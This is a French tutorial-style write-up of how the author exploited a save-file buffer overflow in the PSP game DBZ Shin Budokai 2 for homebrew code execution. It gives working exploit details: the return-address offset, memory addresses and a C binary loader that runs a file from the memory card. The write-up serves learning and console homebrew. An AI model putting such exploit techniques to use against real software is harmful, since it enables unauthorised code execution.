Exploitation de la PSP avec DBZ Shin Budokai 2
Table of Contents
Introduction
J’ai baigné dans le mondes des consoles piratées, du homebrew etc depuis tout petit mais en 2019 j’ai commencé à m’intéresser à comment est-ce que les exploits étaient recherchés et développés. J’avais commencé à apprendre les bases de l’exploitation binaire sur linux avec la vm Phoenix (anciennement Protostar) histoire de mieux comprendre la corruption mémoire, comment fonctionnent la stack la heap etc.. Après ça j’ai décidé de m’attaquer à une vraie console et j’ai choisi la PSP puisque c’était la seule console “facilement” exploitable que j’avais sous la main, et j’avais réussi à trouver un buffer overflow dans le jeu DBZ Shin Budokai 2 (par pure chance j’ai juste tenté sur le seul jeu qu’il y avait dessus), mais j’avais pas encore la “maturité technique” nécessaire du haut de mes 13 ans pour correctement exploiter le bug, donc j’ai décidé que c’était l’occasion avec les grandes vacances de finir ce que j’avais commencé. À noter pour la suite de l’article que la PSP est une console ancienne, et que le processus d’exploitation est donc complètement différent de ce à quoi on pourrait s’attendre sur des consoles plus modernes, qui d’un sont basées sur des systèmes plus complexes (dérivés de FreeBSD généralement), et de deux présentent des sécurités contre les attaques par corruption mémoire comme l’ASLR, les stack canaries, ou une meilleure gestion de la sécurité des pages mémoires (stack non exécutable par ex). De plus j’utilise des outils de debug et un SDK bien développés ce qui facilite GRANDEMENT la recherche et le développement de l’exploit, donc la démarche n’est pas réaliste mais elle est de toute façon surtout à but éducative.
Présentation de l’assembleur et de la structure mémoire
Vous pouvez directement passer au chapitre suivant si vous avez déjà les notions d’assembleur, d’adresses mémoires etc.
Avant de rentrer dans le vif du sujet on va rapidement voir comment la PSP (et n’importe quel ordinateur en général) exécute des instructions et manipule la mémoire au niveau machine à travers l’assembleur. L’assembleur est le language le plus proche du language machine (les instructions en binaires que le CPU exécute), ce qui le rend assez imbuvable par rapport aux languages de haut niveau auxquels on est habitués (C, Java, Python etc) au premier abord mais en réalité on va souvent retrouver le même type d’instructions, il suffit juste d’en connaitre quelques unes pour pas être perdu.
La mémoire (RAM) est organisée à l’aide d’adresses auxquelles le CPU peut accéder pour stocker des variables, lire les instructions etc..
Le CPU a ce qu’on appelle des registres, qui sont des sortes de cases “mémoires” (dans le sens mnémonique pas par rapport à la RAM étant donné qu’ils sont dans le cpu) de 32 bits qui vont permettre de stocker des informations temporaires pendant l’exécution du programme pour effectuer diverses opérations. La partie importante de la mémoire qui va nous intéresser est une zone appelée la “stack”. Comme son nom l’indique elle fonctionne avec une structure de pile (last in, first out), elle commence à une certaine adresse déterminée par le système, et sa fin (donc le haut de la pile) est indiqué par le registre
sp
. Illustration faite à l’arrache à l’ipad :
À chaque ajout d’un élément sur la stack on va donc décrémenter sp de 4 (puisque la stack grandit “à l’envers”). La stack sert à stocker des variables, des tableaux (buffers), et des adresses particulières qu’on va voir tout de suite. Les instructions en assembleur liées à la stack sont :
pop reg # prend le dernier élément de la stack, le place dans le registre reg et le retire de la stack (incrémente $sp de 4)push reg # ajoute la valeur contenue dans reg au dessus de la stack (décrémente $sp de 4)
La PSP fonctionne avec l’architecture MIPS et possède 32 registres. La majorité sont des registres généraux sans fonction particulière auxquels on ne s’intéressera pas, ce qui nous intéresse c’est les registres ra
, sp
, et un registre non listé ici qui s’appelle le Program Counter pc
. Le registre pc
stocke l’adresse de la prochaine instruction à exécuter et est donc primordial pour nous : si on contrôle ce qu’il y a dans pc
on contrôle quelles instructions exécuter et on a gagné.
Avant de présenter les registres, on va présenter quelques instructions liées aux registres dans l’architecture MIPS :
move $1, $2 # Stocke la valeur du registre $2 dans le registre $1li $1, 373955 # Stocke la valeur 373955 dans le registre $1lw $1, 100($2) # Stocke la valeur à l'adresse 100 + $2 de la mémoire dans le registre 1jr $1 # Stocke l'adresse contenue dans $1 dans $pcjal addr # Stocke l'adresse addr dans $pc
Cependant on a jamais un contrôle direct sur pc
avec un buffer overflow, mais on peut manipuler les valeurs qu’il prend à l’aide de ra
, que l’on peut altérer. Le registre ra
(return address) contient la prochaine adresse à laquelle pc
doit accéder après une instruction jr $ra
. Lorsqu’une fonction est appelée en assembleur, on va utiliser l’instruction jal addr
, où addr est l’adresse de la fonction, et le processus est le suivant :
- On met l’adresse de l’instruction qui suit
pc
dans le registrera
(correspond donc à faire l’opération$ra = $pc+4
) - On saute à l’adresse de la fonction qu’on appelle, donc on stocke effectivement l’adresse addr dans
pc
(correspond àjal addr
)
Or il arrive souvent que les adresses de retour soient stockées dans la stack, puis ensuite mises dans ra
avec pop $ra
, donc avoir un contrôle sur la stack assure souvent un contrôle de ra
. Toute fonction se termine par l’instruction jr $ra
qui retourne là où la fonction a été appelée à l’origine. Après cette longue introduction, on comprend que si on a le contrôle du registre ra
, et qu’on a la capacité d’écrire des données dans la stack, on pourra injecter le code que l’on souhaite exécuter dans la stack (qu’on appelle shellcode) et à l’aide du contrôle de ra
, placer pc
à l’adresse de notre code et on aura notre exploit.
La faille
Comme dit précédemment la faille était un buffer overflow, pour rappel ça consiste en gros à copier plus de données dans un buffer que ce qui a été alloué, ce qui permet donc de dépasser les limites du buffer et écraser des d’autres données dans la mémoire. On peut donner un exemple très simple de buffer overflow en C avec la fonction dangereuse strcpy pour illustrer le concept :
#include <string.h>
int main(int argc, char* argv){ char buffer[3]; strcpy(buffer, "pinton");}
Magnifique illustration du problème :
et après compilation et exécution du programme, on obtient :
*** stack smashing detected ***: terminatedAbandon (core dumped)
On a bien une erreur de corruption mémoire, le système nous dit qu’on a écrasé des données sur la stack. Le problème est bien géré car j’ai exécuté ça sur un système moderne qui utilise ce qu’on appelle un stack canary qui est en gros une valeur placée en haut de la stack qui permet de voir si elle a été altérée, mais les anciens systèmes n’avaient pas de telle protection. Pour revenir à la PSP, on commence par lancer le jeu et on fait une nouvelle sauvegarde :
Je passe les détails sur la partie déchiffrement des sauvegardes puisque c’est pas vraiment ce qui nous intéresse. Bref on récupère la sauvegarde depuis la carte mémoire, on l’ouvre avec un éditeur hexadécimal (HxD dans mon cas) et on regarde si le fichier contient la chaîne “MEHDI!!”. On retrouve bien la chaîne à l’adresse 0x570 c’est parfait.
L’idée maintenant ça va être de remplacer le pseudo original par plein de A par exemple en dépassant largement la taille prévue pour le nom en espérant que la chaîne soit chargée en mémoire de manière dangereuse (spoiler oui).
On remet la sauvegarde modifiée dans la carte mémoire de la PSP, on lance le jeu, on charge la sauvegarde, et le jeu crash c’est bien ce qu’on voulait. Les développeurs du jeu ont sûrement utilisé une fonction dangereuse du genre
strcpy
pour charger la chaîne en mémoire, sauf que pour un ordinateur, une chaîne de caractères se termine lorsqu’il y a l’octet nul 0x00
. Si vous regardez le premier screen de la sauvegarde originale, on voit qu’après mon pseudo il y a des octets nuls ce qui indique la fin de la chaîne et la fonction arrête de copier les octets suivant en mémoire, mais en remplaçant ces 0 par des A, la fonction n’arrête pas de charger la chaîne en mémoire et dépasse le tampon, on a bien notre buffer overflow. On va maintenant utiliser le pspsdk pour débugger le crash (ce qui rend le tout 10000x plus simple). On connecte la PSP au PC en USB, on charge notre sauvegarde modifiée et on obtient notre erreur dans le debugger :
host0:/> Exception - Bus error (instr)Thread ID - 0x03EF710BTh Name - user_mainEPC - 0x41414140Cause - 0x10000018BadVAddr - 0x00000000Status - 0x60088613zr:0x00000000 at:0xDEADBEEF v0:0x00000020 v1:0x00000001a0:0x00000000 a1:0xDEADBEEF a2:0xDEADBEEF a3:0xDEADBEEFt0:0xDEADBEEF t1:0xDEADBEEF t2:0xDEADBEEF t3:0xDEADBEEFt4:0xDEADBEEF t5:0xDEADBEEF t6:0xDEADBEEF t7:0xDEADBEEFs0:0x41414141 s1:0x41414141 s2:0x41414141 s3:0x41414141s4:0x41414141 s5:0x41414141 s6:0x41414141 s7:0x41414141t8:0xDEADBEEF t9:0xDEADBEEF k0:0x09FFFB00 k1:0x00000000gp:0x00000000 sp:0x09FFF5C0 fp:0x41414141 ra:0x41414141
On a les valeurs de tous les registres après le crash, et on voit que la valeur de ra est 0x41414141
ce qui correspond en ASCII à “AAAA”, donc on contrôle bien ce qui est écrit dans ra
et on va pouvoir sauter à une adresse arbitraire dans la mémoire.
Exploitation de la faille
On va maintenant devoir déterminer précisement à partir de quel A est-ce que ra
prend ses valeurs, et pour ça on va utiliser ce qu’on appelle une suite de De Bruijn, qui va générer une longue chaine de mots cyclique dont toute sous-chaîne de taille 4 apparait une unique fois, qui nous permettra de directement identifier l’offset pour ra
. J’utilise pwntools pour rapidement générer une chaîne de taille 160 avec la fonction cyclic et on obtient aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaab
. On remplace nos A dans la sauvegarde par cette chaine :
On charge cette sauvegarde, on attend le crash report et on obtient ça pour
ra
: ra:0x61616174
. On utilise pwntools pour en déduire l’offset :
mehdi@pc:~$ cyclic -l 0x6161617476
Donc on sait qu’il faudra mettre 76 caractères aléatoires dans le fichier de sauvegarde (communément appelé le padding), puis l’adresse qu’on souhaite mettre dans ra
(qui pointera vers notre code injecté). À noter que la PSP est en Little-Endian donc les octets sont “inversés” entre ce qu’il y a dans le fichier et ce qu’il y a dans le registre :
Reste à déterminer où est-ce qu’on va sauter, pour faire ça on va faire un dump complet de la mémoire pendant le crash et observer à quel endroit est-ce que la save est chargée. Donc on refait crasher le jeu et on fait un dump d’environ 20mb à l’aide du debugger:
host0:/> savemem 0x08800000 200000000 dump.bin
On ouvre le dump dans HxD, on cherche la chaine de caractère cyclique pour retrouver à quelle adresse la sauvegarde est chargée, on voit que l’offset 0x8b53b10
(on a commencé le dump à 0x08800000
) en mémoire correspond à l’offset 0x570
dans le fichier de sauvegarde. On va donc choisir pour ra
l’adresse 0x8b53b60
et on placera notre code dans la sauvegarde à l’offset 0x5C0
(donc 0x50 octets plus loin).
Écriture du shellcode
On arrive dans la partie la plus technique, l’objectif va être d’écrire un binary loader, c’est à dire un programme qui exécute un autre binaire qui se trouve dans la carte mémoire. Notre code va utiliser des appels à des fonctions systèmes de la PSP pour faire cela, on va donc déterminer quelles sont les adresses de ces fonctions dont on a besoin dans le jeu DBZ Shin Budokai 2. Pour ce faire on ouvre l’iso du jeu avec 7zip, on extrait le fichier EBOOT.BIN
et on utilise un outil appelé prxtool qui nous permet d’extraire les adresses des différentes fonctions. On obtient une longue liste d’adresses qui ressemble à ça (j’ai uniquement mis les premières lignes c’est vraiment long):
mehdi@pc:~/PSPexp/$ prxtool -f EBOOT.BINImports:Import 0, Name sceRtc, Functions 2, Variables 0, flags 40010011Functions:0x4B1B5E82 [0x001A0858] - sceRtc_4B1B5E820xE7C27D1B [0x001A0860] - sceRtc_E7C27D1BImport 1, Name sceUtility, Functions 15, Variables 0, flags 40010011Functions:0x2AD8E239 [0x001A07E0] - sceUtility_2AD8E2390x3DFAEBA9 [0x001A07E8] - sceUtility_3DFAEBA90x4B85C861 [0x001A07F0] - sceUtility_4B85C8610x50C4CD57 [0x001A07F8] - sceUtility_50C4CD57...
Les noms de fonctions ne sont pas explicites on voit simplement la bibliothèque + l’adresse de la fonction, heureusement ces fonctions sont documentées et des fichiers XML sont disponibles sur https://www.psdevwiki.com/pspprxlibraries/ pour faire la liaison entre les adresses et les fonctions et prxtool permet de directement remplacer les noms cryptiques des fonctions par leur nom normal avec le bon fichier XML. On obtient quelque chose de beaucoup plus lisible :
mehdi@pc:~/PSPexp/$ prxtool -f -n 500_psplibdoc.xml EBOOT.BINImports:Import 0, Name sceRtc, Functions 2, Variables 0, flags 40010011Functions:0x4B1B5E82 [0x001A0858] - sceRtcCheckValid0xE7C27D1B [0x001A0860] - sceRtcGetCurrentClockLocalTimeImport 1, Name sceUtility, Functions 15, Variables 0, flags 40010011Functions:0x2AD8E239 [0x001A07E0] - sceUtilityMsgDialogInitStart0x3DFAEBA9 [0x001A07E8] - sceUtilityOskShutdownStart0x4B85C861 [0x001A07F0] - sceUtilityOskUpdate0x50C4CD57 [0x001A07F8] - sceUtilitySavedataInitStart
Pour tester si on peut bien exécuter du shellcode, on va faire un shellcode très simple qui appelle simplement sceKernelExitGame qui va donc faire quitter le jeu proprement. Le code asm consiste simplement à sauter à l’adresse de la fonction :
jal 0x001A0640 # sceKernelExitGame
Le jeu se ferme bien après chargement de la sauvegarde. Maintenant qu’on a ça, on va écrire notre binary loader. On pourrait très bien l’écrire en assembleur de manière assez concise mais pour des raisons de lisibilité on va l’écrire en C. L’objectif est de charger un fichier en mémoire et de l’exécuter, on va donc avoir besoin des fonctions sceIoOpen pour ouvrir le fichier, sceIoRead pour lire le fichier et sceIoClose pour le fermer. On écrit le loader à l’aide de la documentation pspsdk sur les fonctions IO :
void _start() __attribute__ ((section (".text.start")));void _start(){ // Définition des fonctions int (*sceIoOpen)(char*, int, int); sceIoOpen = (int (*)(char*, int, int))(0x001A0678); int (*sceIoRead)(int, void*, int); sceIoRead = (int (*)(int, void*, int))(0x001A0660); void (*sceIoClose)(void); sceIoClose = (void (*)(void))(0x001A0670);
char* filename; filename = (char*)0x8b53c8f; int fd = sceIoOpen(filename, 0, 0777); sceIoRead(fd, (void*)0x8810000, 0x10000); sceIoClose(); void (*bin)(void); bin = (void (*)(void))(0x8810000); bin();}
Maintenant qu’on a les adresses des fonctions en mémoire, on peut définir les fonctions correspondantes dans notre code en créant des pointeurs vers leurs adresses qu’on prend soin de bien caster correctement à l’aide des signatures des fonctions données par la documentation du PSPSDK, ce qui nous permettra de les appeler comme des fonctions classiques par la suite. On place le nom de notre fichier (filename) à la fin de notre payload ce qui correspond à l’adresse 0x8b53c8f en mémoire, on fait donc un pointeur vers cette chaine qui sera le premier argument de sceIoOpen. Les deux autres arguments sont les flags et les modes de lectures qui déterminent les permissions de lecture sur le fichier (écriture, lecture seule), dans notre cas la lecture seule convient (voir le header fcntl.h pour plus de détails sur les flags/permissions). On oublie pas de stocker le file descriptor renvoyé par la fonction qui nous aidera ensuite à lire le contenu du fichier qu’on stocke à l’adresse 0x8810000 en mémoire et on lit 0x10000 octets. On crée ensuite un pointeur vers l’adresse mémoire à laquelle on a stocké notre binaire et on exécute le binaire chargé. On compile notre programme et on place le shellcode à l’adresse qu’on stocke dans ra
. Notre fichier de sauvegarde ressemble finalement à ça :
On voit bien le chemin du fichier “ms0:/a.bin” à la fin du payload.
Pour tester notre binary loader, on va coder un programme assez simple qui consiste à faire flasher l’écran en blanc et vert pour vérifier que le loader fonctionne bien.
typedef unsigned int u32;
void setVRAM(u32 couleur){ int i;
for (i = 0x44000000; i < 0x44100000; i += 4) { (((u32 *)i)[0]) = couleur; }}
void _start() __attribute__((section(".text.start")));void _start(){ setVRAM(0x00FFFFFF); // blanc setVRAM(0x000000FF); // vert}
La documentation de la PSP nous dit que la VRAM (mémoire vidéo qui contient les pixels à afficher) est mappée à partir de l’adresse 0x44000000, et on écrit sur environ 1mb de mémoire ce qui devrait suffire à voir les couleurs changer. On compile ce programme, on le place à la racine de la carte mémoire sous le nom a.bin, et on charge notre sauvegarde. On a bien ce qu’on cherchait:
Conclusion
Au final on a pu exploiter le buffer overflow pour permettre à la psp de charger n’importe quel binaire que l’on souhaitait on a donc la liberté d’exécuter notre propre code sur PSP simplement à l’aide d’une sauvegarde que l’on peut partager avec tout le monde. Reste à noter que l’exécution est simplement dans le user space donc on n’a pas un contrôle total sur la psp, pour ça il faudrait ajouter par dessus un exploit kernel mais ça devient bien plus compliqué à reverse engineer et c’est le graal en terme d’exécution arbitraire de code. Encore aujourd’hui sur les consoles modernes comme la PS5, la switch etc.. ce qu’on va chercher c’est un kernel exploit pour pouvoir avoir un contrôle complet sur la console.